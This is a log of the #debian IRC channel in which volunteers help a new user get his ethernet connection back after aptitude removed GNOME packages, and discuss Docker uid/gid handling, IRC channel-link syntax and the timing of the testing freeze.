| 22:45.17 | fiola | heurist: No, it's that the syntactic form "#abcd" creates a link in most modern IRC clients, giving you the option to join the channel. Unfortunately it only works on the current server. in contrast, something like #abcd@server.tld would work more generally. |
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| 22:46.53 | heurist | fiola: ah, ok. so babilen was right (as usual). irc://irc.oftc.net/#debian-next works, take the other "auto-tag" part up with your client maker. (: |
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| 22:48.13 | zerick | Anybody familiar with a apache2_invoke function ? :/ |
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| 22:48.39 | zerick | Where it comes from ? How could I test is working (I mean, restarting/reloading Apache for example) |
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| 22:49.33 | KTL | zerick, maybe you could watch the pid of the process change with ps aux |
| 22:50.14 | KTL | or see if something is dumped in the logs, maybe increase logging level ... |
| 22:50.27 | fiola | heurist: Client makers only respond to common usage though. Notice that you typed "#debian-next on irc.oftc.net", you didn't type babilen's irc://irc.oftc.net/#debian-next . Why not? Because it's unwieldy, I would guess. In contrast, #chan@blah would be very short and user freindly. |
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| 22:51.33 | babilen | fiola: That is not a URI though and therefore support isn't implemented. Now that you are aware of this implementation detail I am sure that you won't have the same problem again. |
| 22:52.21 | heurist | fiola: true. but I was speaking to a human (I assumed), so I typed it in english, the fact that *some* clients might try help the use but interpreting that text never occurred to me. (: |
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| 22:52.43 | fiola | babilen: I don't have a problem, I'm just trying to find better ways of specifying channels. You in contrast do seem to have a problem with people suggesting anything new. |
| 22:52.58 | heurist | fiola: s/use but/user but/ urgh |
| 22:53.16 | heurist | Argh, by not but! type you silly fingers! |
| 22:53.29 | fiola | heurist: It's OK, English redundancy compensates :-) |
| 22:53.40 | KTL | :D |
| 22:53.43 | heurist | fiola: only sometimes. |
| 22:53.47 | fiola | hehe |
| 22:54.15 | babilen | fiola: Oh, do I? I elaborated on reasons why that isn't used and clients wouldn't work with that syntax anyway. Regardless this is fastly drifting off into off-topic areas so would rather be at home in #debian-offtopic |
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| 22:56.15 | fiola | Pretty typical for people to declare anything that they dislike as "off-topic". The fact is, in the few weeks I've been here there have been loads of people reporting the "Cannot join #debian-next (Channel is invite only)" error message, so it's certainly on topic for the channel. |
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| 22:56.59 | KTL | fiola, http://en.wikipedia.org/wiki/Internet_Relay_Chat#URI_scheme (seems to be from 1996) |
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| 22:58.04 | fiola | KTL: I know it very well, I'm an old timer. But it's not helping us. People don't use full URIs when they're unwieldy. |
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| 22:59.46 | babilen | fiola: This channel is for the discussion of actual technical support questions. Ways to make it easier for users to find channels on other networks and other "meta" discussion *are* off-topic here and I'd kindly ask you to take it to #debian-offtopic. (why is that problematic?) |
| 22:59.59 | fiola | And "fix the people is the people are broken" isn't really very helpful. Technology can interface for us and help. |
| 23:00.08 | fiola | s/is/if/ |
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| 23:03.52 | fiola | babilen: Because when we answer "technical support questions", we do our best to help. If people's references to #debian-next worked like all other #chan fields on freenode, that would be helping people here. If you've been monitoring then you will have seen that quite a lot of people report the "invite-only" message instead, so we are not helping them well. |
| 23:04.39 | babilen | fiola: Please continue in #debian-offtopic (seriously) |
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| 23:06.28 | fiola | babilen: Yeah, i know how it works here, if one tries to help here but an existing chanop dislikes your advice, you get a temporary ban. I've seen it before, message noted, and will say no more on the topic of helping people. |
| 23:06.52 | babilen | ffs |
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| 23:08.08 | babilen | You are being off-topic. What is so hard to understand about this? A "/join #debian-offtopic" (or click as you seem to prefer that) really isn't too hard. Your allegations are unfounded and you are simply not adhering to the rules of this channel. |
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| 23:22.50 | graybis | I just put on a command to install something via aptitude install or something like that |
| 23:22.57 | graybis | and couple of software got unistalled |
| 23:23.06 | graybis | Now I fixed it via aptitude install gnome |
| 23:23.14 | graybis | But I can't detect my erthenet there is not NET. |
| 23:23.27 | graybis | Even the ifconfig command does not work what I am supposed to do? |
| 23:23.34 | babilen | You probably removed network-manager-gnome |
| 23:23.40 | graybis | So what should I do? |
| 23:23.43 | babilen | Install it again |
| 23:23.49 | graybis | Will it work it does not have erthenet |
| 23:23.51 | graybis | I am via macbook |
| 23:24.51 | babilen | You should be able to install every package you removed earlier as it will still be in the package cache. And "ip a" (or "ifconfig -a" if you prefer to use that deprecated tool) should list your card. That program might not necessarily be in your PATH though) |
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| 23:25.04 | mwargh | graybis: it's probably it /var/cache/apt |
| 23:25.11 | hesco | Working in a docker container with data persisted on attached volumes which are shared among multiple instances of the same container, and even among multiple load balanced containers, I have found it necessary to normalize uid/gid assignment to prevent permission errors and ensure consistent access by applications to their data. Now building a puppet master on a docker container and find that I am manually |
| 23:25.13 | hesco | using adduser and addgroup to set the uid/gid before installting the puppet packages, but still find the that the package resets those. Any way to prevent that and take control of the situation? |
| 23:25.19 | graybis | It says when I try to install network-manager-gnome unable to fetch some archives maybe run apt-get updateo r try with fix-missing |
| 23:25.21 | mwargh | graybis: also use 'ip link show' to list your interfaces |
| 23:25.35 | graybis | iplink show shows stuff |
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| 23:25.50 | mwargh | does it show your interface? |
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| 23:25.56 | wald0 | is testing actually frozen ? |
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| 23:26.07 | graybis | It says failed to fetch .etc. |
| 23:26.16 | babilen | wald0: Not yet |
| 23:26.18 | hesco | graybis: you are looking for strings like eth0, wlan0, lo, etc. |
| 23:26.18 | graybis | How can I restore it back? |
| 23:26.31 | hesco | run `apt-get update` |
| 23:26.33 | babilen | wald0: 5th of November (remember remember!) |
| 23:26.40 | graybis | It does not work |
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| 23:26.47 | hesco | what does not work? |
| 23:26.48 | graybis | It says failed to fetch |
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| 23:26.57 | graybis | it's like the erthenet driver got unistalled or something like that |
| 23:27.02 | hesco | because you have no network. |
| 23:27.12 | graybis | The erthenet is on. |
| 23:27.14 | hesco | `ls /var/lib/cache` |
| 23:27.20 | wald0 | babilen: why 5 of november? :) |
| 23:27.29 | hesco | rather `ls /var/cache/apt` |
| 23:27.58 | graybis | I do not understand, can anyone help me? |
| 23:28.06 | babilen | graybis: Okay, do you connect via ethernet? Is eth0 listed in "ip a" ? Can you run "ip link set eth0 up" and can you run "dhclient eth0" afterwards? Did you get an address? |
| 23:28.17 | graybis | ip a returns me |
| 23:28.21 | hesco | graybis: `ls /var/apt/cache/*network* |
| 23:28.32 | hesco | graybis: `ls /var/apt/cache/*network*` |
| 23:28.38 | graybis | loopback up,lowerup 12..0.1 inet6 alid_lifet forever broadcast multicast link ether and amac adess or something |
| 23:28.46 | graybis | and what should I do with that hesco |
| 23:28.59 | hesco | run what I showed you between the back ticks |
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| 23:29.05 | KTL | hesco, his cached package are probably out of date, the dependency manager wants new stuff |
| 23:29.11 | graybis | It says ls cannot access no such file or directory |
| 23:29.22 | hesco | no cache. |
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| 23:29.48 | hesco | graybis: sounds like you will need to manually create your network interface then |
| 23:30.00 | hesco | try this graybis: `which dhclient` |
| 23:30.16 | graybis | Guys the only thing I did was to trying to burn something and also tried to install unetbootin and it started removing. Then to fix it I did aptitude install gnome |
| 23:30.22 | hesco | are you hard wired or on a wireless network? |
| 23:30.35 | graybis | I am via erthenet no wireless |
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| 23:30.47 | hesco | ok, that makes things easier |
| 23:31.11 | hesco | what does your system say to `which dhclient` |
| 23:31.58 | KTL | shouldn't he simply update his cache? the "failed to fetch" is because some old packages are no longer served ... |
| 23:32.16 | graybis | which dhlcleitn sayts sbin/dhclient |
| 23:32.21 | graybis | Why did this happened |
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| 23:34.06 | graybis | So anyone? |
| 23:34.21 | hesco | graybis: `dhclient -v eth0 ` |
| 23:34.24 | graybis | Guys I have been with debian 2 months now. And this happeend to me once and twic |
| 23:34.35 | KTL | graybis, i have the idea that your package manager could fix your issues but that it uses a outdated index of the available package. With "sudo aptitude update" you can update your list and ... try your install-commands again, to avoid the "failed to fetch" |
| 23:34.44 | graybis | cannot find device etho0 bind socket to interface no such device |
| 23:34.45 | jarco | hello, i am trying to install docker on debian 7 using this guide: https://docs.docker.com/installation/debian/ . When I do service start docker it sais docker start/running, process xxxx . but when i ask for it status it gives docker stop/waiting |
| 23:35.08 | graybis | Why did my files got deleted .etc.? |
| 23:35.10 | graybis | That is akward |
| 23:35.14 | hesco | graybis: `sudo ifconfig ` and tell us which devices you have available. |
| 23:35.34 | hesco | graybis: because you told it to delete them. |
| 23:35.51 | graybis | It has Link encap Locak network , inet addr 127.0.0.1, inet6, UP Lookbackup running, RX,TX |
| 23:35.56 | hesco | apt(titude) deletes no packages w/o your saying to proceed. |
| 23:36.04 | graybis | So |
| 23:36.14 | graybis | Whenever I try aptitude I will click no? So it wont delete my files? |
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| 23:36.37 | graybis | what if I go to safe mode? |
| 23:36.54 | graybis | Also in my boot screen when it starts it shows now GNu/LINUX and extra Memory tests before I think it had only 2 options |
| 23:37.00 | hesco | graybis: one moment. Let me look up the ip syntax to recreate your eth0 interface. In the mean time, please paste the contents of your /etc/network/interfaces |
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| 23:37.11 | heurist | graybis: run ip link set eth0 up |
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| 23:38.12 | graybis | cannot find device etho0 |
| 23:38.34 | KTL | eth0, not etho0 |
| 23:38.44 | heurist | graybis: ip link list says what? |
| 23:39.14 | graybis | it worked now |
| 23:39.18 | graybis | it shows nothing |
| 23:39.25 | graybis | I typed ip link and I get nothing |
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| 23:39.59 | hesco | what worked? did it assign an IP to your eth0 interface? |
| 23:40.13 | graybis | I just typed the command you told me and I got nothing in return |
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| 23:40.27 | hesco | the command who showed you? |
| 23:40.43 | hesco | heso or heurist? |
| 23:40.50 | heurist | graybis: what do you mean "nothing"? what does ip link list dev eth0 say now? |
| 23:40.52 | hesco | hesco or heurist? |
| 23:41.15 | graybis | I type the command and it returns nothing |
| 23:41.31 | graybis | I just type it and it gets m to type another command. It feels like it worked but no result |
| 23:41.33 | graybis | or output |
| 23:41.40 | hesco | precision would be very helpful at this moment, save us all confusion and fristration |
| 23:41.58 | heurist | graybis: ifconfig eth0 maybe? |
| 23:42.03 | hesco | what comamnd gave you no output? |
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| 23:42.34 | graybis | ifconfig returns no IP it returns erhthenet hwaddr 74:7474:. etc |
| 23:42.41 | graybis | but it does not have ip |
| 23:43.04 | hesco | good, so you have an eth0 interface then. |
| 23:43.20 | hesco | graybis: `dhclient -v eth0 ` |
| 23:43.20 | heurist | graybis: good, now run dhclient -v eth0 |
| 23:45.13 | graybis | ok |
| 23:45.25 | graybis | it seems to work |
| 23:45.27 | heurist | graybis: ifconfig eth0 says you have an IP now? |
| 23:45.31 | graybis | yes |
| 23:45.45 | heurist | graybis: then back to aptitude to install your stuff |
| 23:45.46 | hesco | and can you ping something outside your local network? |
| 23:45.49 | graybis | but the wireless ico is not on top right |
| 23:45.57 | graybis | so I should do aptitude install gnome? |
| 23:46.08 | hesco | `apt-get update` |
| 23:46.11 | hesco | first |
| 23:46.14 | KTL | as root |
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| 23:46.29 | graybis | Also a question that I want solved. Why some timesit removes all my softwares? Does aptitude means it removes everything? |
| 23:46.41 | graybis | I have done that mistake twice |
| 23:46.53 | graybis | I did apt-get update |
| 23:47.06 | hesco | graybis: important to read the prompts before you accept the defaults |
| 23:47.20 | hesco | any errors from the update? |
| 23:47.21 | graybis | What do you mean? |
| 23:47.24 | graybis | No errors |
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| 23:47.32 | graybis | it did not update danything just did a restart |
| 23:47.40 | hesco | ok, you can now proceed to reinstall the things you lost |
| 23:47.42 | graybis | By the way why on the booting screen it has a memory test now |
| 23:47.51 | graybis | Is there no automatic command for that? |
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| 23:47.59 | graybis | like aptitude install gnome? |
| 23:48.05 | hesco | because grub added that to your boot menu probably |
| 23:48.08 | babilen | graybis: This happens if you install software via a large metapackage (e.g. gnome) and then remove one of its dependencies (which causes the metapackage to be removed too). Aptitude will then remove all other packages pulled in as they were automatically installed and you, obviously, no longer want them. |
| 23:48.15 | babilen | dpkg: tell graybis -about install gnome |
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| 23:48.41 | graybis | I just restarted and the internet is off |
| 23:48.56 | babilen | graybis: you can either not remove packages or install Gnome in a more fine-grained manner. Naturally none of these approaches are a substitute for checking what you are about to do. |
| 23:49.13 | hesco | Working in a docker container with data persisted on attached volumes which are shared among multiple instances of the same container, and even among multiple load balanced containers, I have found it necessary to normalize uid/gid assignment to prevent permission errors and ensure consistent access by applications to their data. Now building a puppet master on a docker container and find that I am manually |
| 23:49.15 | hesco | using adduser and addgroup to set the uid/gid before installting the puppet packages, but still find the that the package resets those. Any way to prevent that and take control of the situation? |
| 23:49.33 | graybis | Mate, the internet is off again after the restart. |
| 23:49.42 | paddymahoney | Let's say I did a 'git init' in the postinst file. Would prerm be an appropriate place to blow away the .git directory? |
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| 23:50.48 | graybis | After the restart it's the same |
| 23:51.16 | hesco | graybis: then you need to repeat those steps listed above for enabling the interface and getting a lease of an IP from your dhcp server |
| 23:51.48 | graybis | Lease? |
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| 23:52.27 | babilen | hesco: If the packages sets the uid/gid to specific values you will have to adhere to those. You can, naturally, enforce a change later on, but I'd not code against the packaging system. UID/GID normalisation is one of the more annoying aspects of Docker containers and #docker might know some ways to deal with (not that I've seen anything, but that doesn't mean that there aren't great approaches) |
| 23:52.33 | hesco | you obviously have some machine online. use that to look up dhcp on wikipedia and learn a little bit about networking |
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| 23:54.36 | graybis | Is there no command that can do it? |
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| 23:55.06 | graybis | I am seriously lost and I need Internet :( |
| 23:55.23 | hesco | babilen: I have found that generally packages simply assign the next available numbers and make no attempt to claim a spcific id. That is why I've resorted to managing these things myself. I'm surprised though that the puppet package would ignore a pre-existing user's configuration and not simply use what is provided for it. I was hoping to get some guidance on debian policy around this question, but will |
| 23:55.25 | hesco | take the issue to #puppet and #docker as well. |
| 23:55.44 | KTL | graybis, how are you online now? |
| 23:55.52 | graybis | via Macbook Pro |
| 23:55.56 | heurist | graybis: ip link set eth0 up ; dhclient eth0 |
| 23:56.01 | *** mode/#debian [+l 1432] by debhelper |
| 23:56.02 | *** join/#debian bctrainers (~bc@unaffiliated/bctrainers) |
| 23:56.09 | *** join/#debian peterS (~peter@wire.p12n.org) |
| 23:56.19 | babilen | hesco: Yes, most packages will create users in that way (and why wouldn't they?) So, create the user beforehand and it should ... Oh, the puppet package enforces a specific UID/GID? |
| 23:56.24 | *** join/#debian linuxuz3r (~linuxuz3r@2602:306:bd2a:a160:24ce:cede:dd7e:2576) |
| 23:56.40 | babilen | hesco: Are those Debian packages or the puppet packages from their broken repo? |
| 23:56.56 | hesco | that seems to be the case. I'm using the puppetlabs provided repo for those packages and their dependncies |
| 23:56.57 | graybis | ok so the net works again |
| 23:57.10 | graybis | what I am supposed to do now. Dropbox for example does not work. And email client just my browser. |
| 23:57.11 | *** join/#debian infinitum (~infinitum@df-001f-1a30-0005.10ge.i6.sungai.nl) |
| 23:57.53 | *** join/#debian oVeRMiND (~oVerMiND@a89-154-145-32.cpe.netcabo.pt) |
| 23:58.14 | graybis | How can I have the erthenet ico as it was and make it work always. |
| 23:58.16 | babilen | hesco: Well, you will have to ask them about their packages. The way they run their repository doesn't really fill me with hope in this case though, but you never know. You can, naturally, adjust the UID later on. I'd guess that puppet can do that for you even. If not, use salt ;) |
| 23:59.36 | babilen | hesco: But this shouldn't be much harder than using usermod -u, but please read the manpage! |